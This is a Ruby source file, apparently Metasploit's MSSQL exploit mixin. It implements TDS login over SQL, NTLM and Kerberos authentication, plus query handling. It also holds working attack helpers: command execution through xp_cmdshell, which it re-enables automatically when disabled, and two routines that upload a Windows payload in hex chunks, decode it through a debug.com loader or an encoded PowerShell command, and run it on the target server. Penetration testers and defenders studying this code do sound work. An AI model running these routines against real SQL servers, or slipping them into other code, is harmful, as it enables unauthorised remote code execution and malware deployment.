# -*- coding: binary -*-

require 'metasploit/framework/mssql/base'

module Msf

###
#
# This module exposes methods for querying a remote MSSQL service
#
###
module Exploit::Remote::MSSQL

  include Exploit::Remote::MSSQL_COMMANDS
  include Exploit::Remote::Udp
  include Exploit::Remote::Tcp
  include Exploit::Remote::NTLM::Client
  include Metasploit::Framework::MSSQL::Base
  include Msf::Exploit::Remote::Kerberos::Ticket::Storage
  include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options

  #
  # Creates an instance of a MSSQL exploit module.
  #
  def initialize(info = {})
    super

    # Register the options that all MSSQL exploits may make use of.
    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(1433),
        OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
        OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
        OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
        OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
      ], Msf::Exploit::Remote::MSSQL)
    register_advanced_options(
      [
        OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
          File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
        ]),
        OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'], aliases: ['MssqlDomain']),
        *kerberos_storage_options(protocol: 'Mssql'),
        *kerberos_auth_options(protocol: 'Mssql', auth_methods: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS),
      ], Msf::Exploit::Remote::MSSQL)
    register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
    register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
  end


  #
  # This method sends a UDP query packet to the server and
  # parses out the reply packet into a hash
  #
  def mssql_ping(timeout=5)
    data = { }

    ping_sock = Rex::Socket::Udp.create(
      'PeerHost'  => rhost,
      'PeerPort'  => 1434,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    ping_sock.put("\x02")
    resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
    ping_sock.close

    return data if not resp
    return data if resp.length == 0

    return mssql_ping_parse(resp)
  end

  #
  # Parse a 'ping' response and format as a hash
  #
  def mssql_ping_parse(data)
    res = []
    var = nil
    idx = data.index('ServerName')
    return res if not idx
    sdata = data[idx, (data.length - 1)]

    instances = sdata.split(';;')
    instances.each do |instance|
      rinst = {}
      instance.split(';').each do |d|
        if (not var)
          var = d
        else
          if (var.length > 0)
            rinst[var] = d
            var = nil
          end
        end
      end
      res << rinst
    end

    return res
  end

  #
  # Execute a system command via xp_cmdshell
  #
  def mssql_xpcmdshell(cmd, doprint=false, opts={})
    force_enable = false
    begin
      res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
      if res[:errors] && !res[:errors].empty?
        if res[:errors].join =~ /xp_cmdshell/
          if force_enable
            print_error("The xp_cmdshell procedure is not available and could not be enabled")
            raise RuntimeError, "Failed to execute command"
          else
            print_status("The server may have xp_cmdshell disabled, trying to enable it...")
            mssql_query(mssql_xpcmdshell_enable())
            raise RuntimeError, "xp_cmdshell disabled"
          end
        end
      end

      mssql_print_reply(res) if doprint

      return res

    rescue RuntimeError => e
      if e.to_s =~ /xp_cmdshell disabled/
        force_enable = true
        retry
      end
      raise e
    end
  end

  #
  # Upload and execute a Windows binary through MSSQL queries
  #
  def mssql_upload_exec(exe, debug=false)
    hex = exe.unpack("H*")[0]

    var_bypass  = rand_text_alpha(8)
    var_payload = rand_text_alpha(8)

    print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
    print_status("Writing the debug.com loader to the disk...")
    h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
    h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
    h2b.split(/\n/).each do |line|
      mssql_xpcmdshell("#{line}", false)
    end

    print_status("Converting the debug script to an executable...")
    mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
    mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

    print_status("Uploading the payload, please be patient...")
    idx = 0
    cnt = 500
    while(idx < hex.length - 1)
      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
      idx += cnt
    end

    print_status("Converting the encoded payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

    print_status("Executing the payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  end


  #
  # Upload and execute a Windows binary through MSSQL queries and Powershell
  #
  def powershell_upload_exec(exe, debug=false)

    # hex converter
    hex = exe.unpack("H*")[0]
    # create random alpha 8 character names
    #var_bypass  = rand_text_alpha(8)
    var_payload = rand_text_alpha(8)
    print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
    # our payload converter, grabs a hex file and converts it to binary for us through powershell
    h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
    h2b_unicode=Rex::Text.to_unicode(h2b)
    # base64 encode it, this allows us to perform execution through powershell without registry changes
    h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
    print_status("Uploading the payload #{var_payload}, please be patient...")
    idx = 0
    cnt = 500
    while(idx < hex.length - 1)
      mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
      idx += cnt
    end
    print_status("Converting the payload utilizing PowerShell EncodedCommand...")
    mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
    mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
    print_status("Executing the payload...")
    mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
    print_status("Be sure to cleanup #{var_payload}.exe...")
  end

  #
  #this method send a prelogin packet and check if encryption is off
  #
  def mssql_prelogin(enc_error=false)

    pkt = ""
    pkt_hdr = ""
    pkt_data_token = ""
    pkt_data = ""


    pkt_hdr =  [
      TYPE_PRE_LOGIN_MESSAGE, #type
      STATUS_END_OF_MESSAGE, #status
      0x0000, #length
      0x0000, # SPID
      0x00, # PacketID
      0x00 #Window
    ]

    version = [0x55010008, 0x0000].pack("Vv")
    encryption = ENCRYPT_NOT_SUP # off
    instoptdata = "MSSQLServer\0"

    threadid =   "\0\0" + Rex::Text.rand_text(2)

    idx = 21 # size of pkt_data_token
    pkt_data_token <<  [
      0x00, # Token 0 type Version
      idx, # VersionOffset
      version.length, # VersionLength

      0x01, # Token 1 type Encryption
      idx = idx + version.length, # EncryptionOffset
      0x01, # EncryptionLength

      0x02, # Token 2 type InstOpt
      idx = idx + 1, # InstOptOffset
      instoptdata.length, # InstOptLength

      0x03, # Token 3 type Threadid
      idx + instoptdata.length, # ThreadIdOffset
      0x04, # ThreadIdLength

      0xFF
    ].pack("CnnCnnCnnCnnC")

    pkt_data << pkt_data_token
    pkt_data << version
    pkt_data << encryption
    pkt_data << instoptdata
    pkt_data << threadid

    pkt_hdr[2] = pkt_data.length + 8

    pkt = pkt_hdr.pack("CCnnCC") + pkt_data

    resp = mssql_send_recv(pkt)

    idx = 0

    while resp && resp[0, 1] != "\xff" && resp.length > 5
      token = resp.slice!(0, 5)
      token = token.unpack("Cnn")
      idx -= 5
      if token[0] == 0x01
        idx += token[1]
        break
      end
    end

    if idx > 0
      encryption_mode = resp[idx, 1].unpack("C")[0]
    else
      # force to ENCRYPT_NOT_SUP and hope for the best
      encryption_mode = ENCRYPT_NOT_SUP
    end

    if encryption_mode != ENCRYPT_NOT_SUP && enc_error
      raise RuntimeError,"Encryption is not supported"
    end
    encryption_mode
  end

  #
  # This method connects to the server over TCP and attempts
  # to authenticate with the supplied username and password
  # The global socket is used and left connected after auth
  #
  def mssql_login(user='sa', pass='', db='')

    disconnect if self.sock
    connect

    begin
      # Send a prelogin packet and check that encryption is not enabled
      if mssql_prelogin != ENCRYPT_NOT_SUP
        print_error('Encryption is not supported')
        return false
      end
    rescue EOFError
      print_error('Probable server or network failure')
      return false
    end

    if datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
      idx = 0
      pkt = ''
      pkt_hdr = ''
      pkt_hdr =  [
        TYPE_TDS7_LOGIN, #type
        STATUS_END_OF_MESSAGE, #status
        0x0000, #length
        0x0000, # SPID
        0x01,   # PacketID (unused upon specification
        # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
        0x00   #Window
      ]

      pkt << [
        0x00000000,   # Size
        0x71000001,   # TDS Version
        0x00000000,   # Dummy Size
        0x00000007,   # Version
        rand(1024+1), # PID
        0x00000000,   # ConnectionID
        0xe0,         # Option Flags 1
        0x83,         # Option Flags 2
        0x00,         # SQL Type Flags
        0x00,         # Reserved Flags
        0x00000000,   # Time Zone
        0x00000000    # Collation
      ].pack('VVVVVVCCCCVV')

      cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
      aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
      sname = Rex::Text.to_unicode( rhost )

      fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using Kerberos authentication.') if datastore['Mssql::Rhostname'].blank?
      fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank?
      fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?
      offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['MssqlKrbOfferedEncryptionTypes'])
      fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty?

      kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
        host: datastore['DomainControllerRhost'],
        hostname: datastore['Mssql::Rhostname'],
        proxies: datastore['Proxies'],
        mssql_port: rport,
        realm: datastore['MssqlDomain'],
        username: datastore['username'],
        password: datastore['password'],
        framework: framework,
        framework_module: self,
        cache_file: datastore['Mssql::Krb5Ccname'].blank? ? nil : datastore['Mssql::Krb5Ccname'],
        ticket_storage: kerberos_ticket_storage,
        offered_etypes: offered_etypes
      )

      kerberos_result = kerberos_authenticator.authenticate
      ssp_security_blob = kerberos_result[:security_blob]

      idx = pkt.size + 50 # lengths below

      pkt << [idx, cname.length / 2].pack('vv')
      idx += cname.length

      pkt << [0, 0].pack('vv') # User length offset must be 0
      pkt << [0, 0].pack('vv') # Password length offset must be 0

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, sname.length / 2].pack('vv')
      idx += sname.length

      pkt << [0, 0].pack('vv') # unused

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, 0].pack('vv') # locales

      pkt << [idx, 0].pack('vv') #db

      # ClientID (should be mac address)
      pkt << Rex::Text.rand_text(6)

      # SSP
      pkt << [idx, ssp_security_blob.length].pack('vv')
      idx += ssp_security_blob.length

      pkt << [idx, 0].pack('vv') # AtchDBFile

      pkt << cname
      pkt << aname
      pkt << sname
      pkt << aname
      pkt << ssp_security_blob

      # Total packet length
      pkt[0, 4] = [pkt.length].pack('V')

      pkt_hdr[2] = pkt.length + 8

      pkt = pkt_hdr.pack("CCnnCC") + pkt

      # Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
      # has a strange behavior that differs from the specifications
      # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
      # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
      resp = mssql_send_recv(pkt, 15, false)

      info = {:errors => []}
      info = mssql_parse_reply(resp, info)

      return false if not info
      return info[:login_ack] ? true : false
    elsif datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::NTLM || datastore['USE_WINDOWS_AUTHENT']
      idx = 0
      pkt = ''
      pkt_hdr = ''
      pkt_hdr =  [
          TYPE_TDS7_LOGIN, #type
          STATUS_END_OF_MESSAGE, #status
          0x0000, #length
          0x0000, # SPID
          0x01,   # PacketID (unused upon specification
            # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
          0x00   #Window
          ]

      pkt << [
        0x00000000,   # Size
        0x71000001,   # TDS Version
        0x00000000,   # Dummy Size
        0x00000007,   # Version
        rand(1024+1), # PID
        0x00000000,   # ConnectionID
        0xe0,         # Option Flags 1
        0x83,         # Option Flags 2
        0x00,         # SQL Type Flags
        0x00,         # Reserved Flags
        0x00000000,   # Time Zone
        0x00000000    # Collation
      ].pack('VVVVVVCCCCVV')

      cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
      aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
      sname = Rex::Text.to_unicode( rhost )
      dname = Rex::Text.to_unicode( db )

      workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)

      ntlm_client = ::Net::NTLM::Client.new(
        user,
        pass,
        workstation: workstation_name,
        domain: datastore['DOMAIN'],
      )
      type1 = ntlm_client.init_context
      # SQL 2012, at least, does not support KEY_EXCHANGE
      type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
      ntlmsspblob = type1.serialize

      idx = pkt.size + 50 # lengths below

      pkt << [idx, cname.length / 2].pack('vv')
      idx += cname.length

      pkt << [0, 0].pack('vv') # User length offset must be 0
      pkt << [0, 0].pack('vv') # Password length offset must be 0

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, sname.length / 2].pack('vv')
      idx += sname.length

      pkt << [0, 0].pack('vv') # unused

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, 0].pack('vv') # locales

      pkt << [idx, 0].pack('vv') #db

      # ClientID (should be mac address)
      pkt << Rex::Text.rand_text(6)

      # NTLMSSP
      pkt << [idx, ntlmsspblob.length].pack('vv')
      idx += ntlmsspblob.length

      pkt << [idx, 0].pack('vv') # AtchDBFile

      pkt << cname
      pkt << aname
      pkt << sname
      pkt << aname
      pkt << ntlmsspblob

      # Total packet length
      pkt[0, 4] = [pkt.length].pack('V')

      pkt_hdr[2] = pkt.length + 8

      pkt = pkt_hdr.pack("CCnnCC") + pkt

      # Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
      # has a strange behavior that differs from the specifications
      # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
      # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
      resp = mssql_send_recv(pkt, 15, false)

      unless resp.include?("NTLMSSP")
        info = {:errors => []}
        mssql_parse_reply(resp, info)
        mssql_print_reply(info)
        return false
      end

      # Get default data
      resp = resp[3..-1]
      type3 = ntlm_client.init_context([resp].pack('m'))
      type3_blob = type3.serialize

      # Create an SSPIMessage
      idx = 0
      pkt = ''
      pkt_hdr = ''
      pkt_hdr = [
        TYPE_SSPI_MESSAGE, #type
        STATUS_END_OF_MESSAGE, #status
        0x0000, #length
        0x0000, # SPID
        0x01, # PacketID
        0x00 #Window
      ]

      pkt_hdr[2] = type3_blob.length + 8

      pkt = pkt_hdr.pack("CCnnCC") + type3_blob

      resp = mssql_send_recv(pkt)


    #SQL Server Authentification
    else
      idx = 0
      pkt = ''
      pkt << [
        0x00000000,   # Dummy size

        0x71000001,   # TDS Version
        0x00000000,   # Size
        0x00000007,   # Version
        rand(1024+1), # PID
        0x00000000,   # ConnectionID
        0xe0,         # Option Flags 1
        0x03,         # Option Flags 2
        0x00,         # SQL Type Flags
        0x00,         # Reserved Flags
        0x00000000,   # Time Zone
        0x00000000    # Collation
      ].pack('VVVVVVCCCCVV')


      cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
      uname = Rex::Text.to_unicode( user )
      pname = mssql_tds_encrypt( pass )
      aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
      sname = Rex::Text.to_unicode( rhost )
      dname = Rex::Text.to_unicode( db )

      idx = pkt.size + 50 # lengths below

      pkt << [idx, cname.length / 2].pack('vv')
      idx += cname.length

      pkt << [idx, uname.length / 2].pack('vv')
      idx += uname.length

      pkt << [idx, pname.length / 2].pack('vv')
      idx += pname.length

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, sname.length / 2].pack('vv')
      idx += sname.length

      pkt << [0, 0].pack('vv')

      pkt << [idx, aname.length / 2].pack('vv')
      idx += aname.length

      pkt << [idx, 0].pack('vv')

      pkt << [idx, dname.length / 2].pack('vv')
      idx += dname.length

      # The total length has to be embedded twice more here
      pkt << [
        0,
        0,
        0x12345678,
        0x12345678
      ].pack('vVVV')

      pkt << cname
      pkt << uname
      pkt << pname
      pkt << aname
      pkt << sname
      pkt << aname
      pkt << dname

      # Total packet length
      pkt[0, 4] = [pkt.length].pack('V')

      # Embedded packet lengths
      pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2

      # Packet header and total length including header
      pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt

      begin
        resp = mssql_send_recv(pkt)
      rescue EOFError
        print_error('Probable server or network failure')
        return false
      end
    end

    info = {:errors => []}
    info = mssql_parse_reply(resp, info)

    return false if not info
    info[:login_ack] ? true : false
  end

  #
  # Login to the SQL server using the standard USERNAME/PASSWORD options
  #
  def mssql_login_datastore(db='')
    mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
  end

  #
  # Issue a SQL query using the TDS protocol
  #
  def mssql_query(sqla, doprint=false, opts={})
    info = { :sql => sqla }

    opts[:timeout] ||= 15

    pkts = []
    idx  = 0

    bsize = 4096 - 8
    chan  = 0

    @cnt ||= 0
    @cnt += 1

    sql = Rex::Text.to_unicode(sqla)
    while(idx < sql.length)
      buf = sql[idx, bsize]
      flg = buf.length < bsize ? "\x01" : "\x00"
      pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
      idx += bsize

    end

    resp = mssql_send_recv(pkts.join, opts[:timeout])
    mssql_parse_reply(resp, info)
    mssql_print_reply(info) if doprint
    info
  end

  #
  # Nicely print the results of a SQL query
  #
  def mssql_print_reply(info)

    print_status("SQL Query: #{info[:sql]}")

    if info[:done] && info[:done][:rows].to_i > 0
      print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
    end

    if info[:errors] && !info[:errors].empty?
      info[:errors].each do |err|
        print_error(err)
      end
    end

    if info[:rows] && !info[:rows].empty?

      tbl = Rex::Text::Table.new(
        'Indent'    => 1,
        'Header'    => "",
        'Columns'   => info[:colnames],
        'SortIndex' => -1
      )

      info[:rows].each do |row|
        tbl << row
      end

      print_line(tbl.to_s)
    end
  end
end
end
